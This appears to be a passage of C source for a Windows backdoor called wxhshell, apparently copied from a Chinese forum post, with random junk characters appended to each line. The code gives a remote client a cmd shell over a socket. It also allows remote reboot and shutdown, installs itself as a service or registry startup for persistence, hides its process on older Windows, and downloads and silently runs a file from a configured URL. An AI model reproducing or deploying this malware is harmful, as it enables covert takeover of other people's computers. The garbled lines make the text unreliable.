  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sm0xLZ  
  } ofPHmh`  
  else { S0~2{ G"v  
=U#dJ^4P  
    switch(cmd[0]) { m@"QDMHk.  
  #JgH}|&a$  
  // 帮助 W%T>SpFl  
  case '?': { 73V|6tmgY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q}~3C1  
    break; ?&|5=>u2}$  
  } q*F{/N **  
  // 安装 dRj|g  
  case 'i': { LV\DBDM  
    if(Install()) GB>QK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); giZP.C"0  
    else +V m}E0Ov  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2q3+0Et8  
    break; )Y2{_ bx4"  
    } MS\>DW  
  // 卸载 !G SV6  
  case 'r': { v%"|WV[N  
    if(Uninstall()) e?7& M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D}dn.$  
    else iVB86XZ`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wF|fK4F  
    break; NWM8[dI  
    } A6:es_  
  // 显示 wxhshell 所在路径 3pv4B:0  
  case 'p': { O-LO/*5MI  
    char svExeFile[MAX_PATH]; `D=S{   
    strcpy(svExeFile,"\n\r"); S/D^  
      strcat(svExeFile,ExeFile); <F}_ /q1  
        send(wsh,svExeFile,strlen(svExeFile),0); 5Yl <h)1  
    break; RoU55mL  
    } #9X70|f  
  // 重启 /LO -HnJ  
  case 'b': { ppZDGpp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H *[_cqnv  
    if(Boot(REBOOT)) D+>4AqG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o$w_Es]Ma  
    else { m=}B,']O  
    closesocket(wsh); :?/cPg'D  
    ExitThread(0); >sWp ?  
    } 'yL%3h _@  
    break; rW+ =,L  
    } H-~6Z",1  
  // 关机 QA<Jr5Ys  
  case 'd': { XmEq2v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); i%/Jp[e\W>  
    if(Boot(SHUTDOWN)) |2abmuR0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^c&L,!_)H  
    else { W7 Cc  
    closesocket(wsh); Zy o[(`y  
    ExitThread(0); ~xD ={9BL  
    } VO$ iNK  
    break; 8ELCs<xI  
    } sC='_h  
  // 获取shell WN01h=1J_  
  case 's': { %KmiH ;U  
    CmdShell(wsh); u/M+u;  
    closesocket(wsh); w,h`s.AN  
    ExitThread(0); JKGc3j,+#  
    break; ]`kmjn  
  } !Cr(P e]  
  // 退出 $4/yZaVb  
  case 'x': { MhR:c7,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ig/%zA*Bo  
    CloseIt(wsh); .Yf:[`Q6g  
    break; VxVE  
    }  #`o2Z  
  // 离开 qNYN-f~@,  
  case 'q': { ||;hci O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <$X3Hye  
    closesocket(wsh); BZR:OtR^  
    WSACleanup(); nPye,"A Ol  
    exit(1); CitDm1DXt/  
    break; _NMm/]mN /  
        } oZ!m  
  } 6"~P/\jP  
  } F;+|sMrq  
@ Wd9I;hWv  
  // 提示信息  *T5!{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w]]8dz  
} UPG9)aF  
  } DP3PYJ%+B  
i[?Vin  
  return; >AcrG]  
} ;*:Pw?'  
4<k9?)~(J  
// shell模块句柄 /+@p7FqlE  
int CmdShell(SOCKET sock) }Q=!Y>Tc  
{ dvt9u9Vg=  
STARTUPINFO si; T`5bZu^c  
ZeroMemory(&si,sizeof(si)); vvKEv/pN7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y?(r3E^x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; iZM+JqfU|D  
PROCESS_INFORMATION ProcessInfo; hFH*B~*:#  
char cmdline[]="cmd"; !*oi!ysU;O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " N9 <wU  
  return 0; S/4^ d &Gr  
} QWzB6H]  
Sgp;@4`M  
// 自身启动模式 px}|Mu7z~  
int StartFromService(void) aB7+Tb  
{ ][?G/*k  
typedef struct Ry%Mej:  
{ .6`9H 1  
  DWORD ExitStatus; @wE5S6! B\  
  DWORD PebBaseAddress; (X?%^^e!  
  DWORD AffinityMask; 4}4Pyjh  
  DWORD BasePriority; A29gz:F(  
  ULONG UniqueProcessId; &NH$nY.r  
  ULONG InheritedFromUniqueProcessId; X@K-^8  
}   PROCESS_BASIC_INFORMATION; P!+'1KR  
cm&I* 0\  
PROCNTQSIP NtQueryInformationProcess; J6L  K  
 DX"xy  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; p2DrEId  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .ys6"V|31  
~TS y<t~%-  
  HANDLE             hProcess; y0'Rmk,  
  PROCESS_BASIC_INFORMATION pbi;  PYM(Xz$  
vK _?<>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a hR ^  
  if(NULL == hInst ) return 0; A-T]9f9  
2JJ"O|Ibz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L1Iz<>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }>VG~u8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z;:u'=  
}^/9G17  
  if (!NtQueryInformationProcess) return 0; c@/(B:@  
ni<A3OB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E}40oID  
  if(!hProcess) return 0; /4` 0?/V  
YwZ Z{+n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^(|vsFzn  
`"&d a#N]  
  CloseHandle(hProcess); h $L/<3oP6  
;uw Ryd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L:1^Kxg  
if(hProcess==NULL) return 0; >i5acuth  
b0Kc^uj5  
HMODULE hMod; jF=gr$  
char procName[255]; 1Dv R[Lx%  
unsigned long cbNeeded; dv.(7Y7.x  
fp[|M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'J6 M*vO  
0el9&l9Ew  
  CloseHandle(hProcess); &8]d }-e  
HmiJ~C_v`:  
if(strstr(procName,"services")) return 1; // 以服务启动 t5#rps\;  
0o9 3i u=&  
  return 0; // 注册表启动 Kd=%tNp  
} ? P( ZA  
BI $   
// 主模块 m3mp/g.>  
int StartWxhshell(LPSTR lpCmdLine) !!`!|w  
{ :j]vf8ec  
  SOCKET wsl; l&?}hq^'Dn  
BOOL val=TRUE; [$ejp>'Ud  
  int port=0; |b|&XB_<]Z  
  struct sockaddr_in door; /Rg*~Ers *  
)w0AC"2O~  
  if(wscfg.ws_autoins) Install(); p TeOW9  
m"o ;L3  
port=atoi(lpCmdLine); q~*t@  
V}SBuQp"  
if(port<=0) port=wscfg.ws_port; -eN\ !  
uwjGDw  
  WSADATA data; `kU/NKq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \U[ {z&]~  
=9"W@n[>W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T)Y=zIQ1]7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hNd}Y'%V  
  door.sin_family = AF_INET; lhw()u  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w Axrc+  
  door.sin_port = htons(port); lhw ,J]0*  
I+dbZBX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]Yvga!S"C  
closesocket(wsl); H<}^'#"p  
return 1; ;uW}`Q<  
} tPGJ<30  
^",ACWF4Sk  
  if(listen(wsl,2) == INVALID_SOCKET) { |jVM&R2s  
closesocket(wsl); T+<A`k: -  
return 1; `/~8}Y{  
} -tyK~aasQ  
  Wxhshell(wsl); 4=Krq6{  
  WSACleanup(); /l<<_uk$  
1$81E.  
return 0; V 2i@.@$j  
_<NMyRJo  
} W~p/,HcM  
* ;Cy=J+  
// 以NT服务方式启动 ltD37QZQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3l3'bw2  
{ k:#P|z$UD  
DWORD   status = 0; ,iv|Pq $!  
  DWORD   specificError = 0xfffffff; ")!,ZD  
#*g5u{k'P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I<8sI%,s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |7}C QU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a'jR#MQl?  
  serviceStatus.dwWin32ExitCode     = 0; ?zsB6B?;  
  serviceStatus.dwServiceSpecificExitCode = 0; 8krpowVs~  
  serviceStatus.dwCheckPoint       = 0; HH@qz2w  
  serviceStatus.dwWaitHint       = 0; ^>N]H>0'S  
'qF#<1&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `A,g] 1C:  
  if (hServiceStatusHandle==0) return; NbGV1q']  
|R#"Th6mH!  
status = GetLastError(); n Ml%'[u  
  if (status!=NO_ERROR) mK [0L  
{ -atGlu2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _Jt 2YZdA  
    serviceStatus.dwCheckPoint       = 0; hwI Mn33  
    serviceStatus.dwWaitHint       = 0; j~e;DO  
    serviceStatus.dwWin32ExitCode     = status; OKvPL=~  
    serviceStatus.dwServiceSpecificExitCode = specificError; S:x?6IDPC^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}@jFhr'<  
    return; (<Th=Fns?  
  } =pk)3<GwF  
*s>BG1$<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 't9hXzAfW  
  serviceStatus.dwCheckPoint       = 0; D.1J_Y=9  
  serviceStatus.dwWaitHint       = 0; S9>0t0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l $jxLZ  
} \C`~S7jC  
Iy.rqc/86  
// 处理NT服务事件,比如:启动、停止  aKd+CO:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5n ^TRB  
{ ^-a8V'  
switch(fdwControl) d'|, [p  
{ Zb134b'  
case SERVICE_CONTROL_STOP: UD)e:G[Gat  
  serviceStatus.dwWin32ExitCode = 0; PGARXw+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ^_%kE%I  
  serviceStatus.dwCheckPoint   = 0; j* *s^Sg  
  serviceStatus.dwWaitHint     = 0; N?m0US u*  
  { if]Noe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PT5AA8F  
  } G_dsrpI=N  
  return; wprX!)w<i  
case SERVICE_CONTROL_PAUSE: v (2GX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !xKJE:4/,m  
  break; fVM`-8ZTq  
case SERVICE_CONTROL_CONTINUE: 2AVa(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?^EXTU85`"  
  break; XK5<Tg  
case SERVICE_CONTROL_INTERROGATE: 6Kj'Zy VL  
  break; rX;Ys2vQ*  
}; \^V`ds*.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z xb_K  
} fI7j):h;  
|P.6<  
// 标准应用程序主函数 .<K iMh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3tmdi3s  
{ q;:6_Qr  
B: \Uw|Mf  
// 获取操作系统版本 }=2;  
OsIsNt=GetOsVer(); f(eQ+0D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pMJ1v  
.y&QqxiE  
  // 从命令行安装 \G2B?>E;  
  if(strpbrk(lpCmdLine,"iI")) Install(); P@]8pIB0d^  
Hku!bJ  
  // 下载执行文件 fbkd"7u  
if(wscfg.ws_downexe) { ,\aUq|~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !gmH$1w  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7HHysNB"w  
} 0ilCS[`b  
DS -fjH\  
if(!OsIsNt) { 0K-*WQ*#9  
// 如果时win9x,隐藏进程并且设置为注册表启动 \@;\t7~  
HideProc(); '/I:^9  
StartWxhshell(lpCmdLine); n6(.{M;  
} ^o !O)D-q  
else A~dQ\M  
  if(StartFromService()) L}yyaM)  
  // 以服务方式启动 gBf4's  
  StartServiceCtrlDispatcher(DispatchTable); $) 5Bf3P0  
else IjfxR mV  
  // 普通方式启动 $j 5,%\4<  
  StartWxhshell(lpCmdLine); "aF8l<1xn  
cM_ Fp  
return 0; Z h/Uu6  
}
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只看该作者 1 发表于: 2006-10-10
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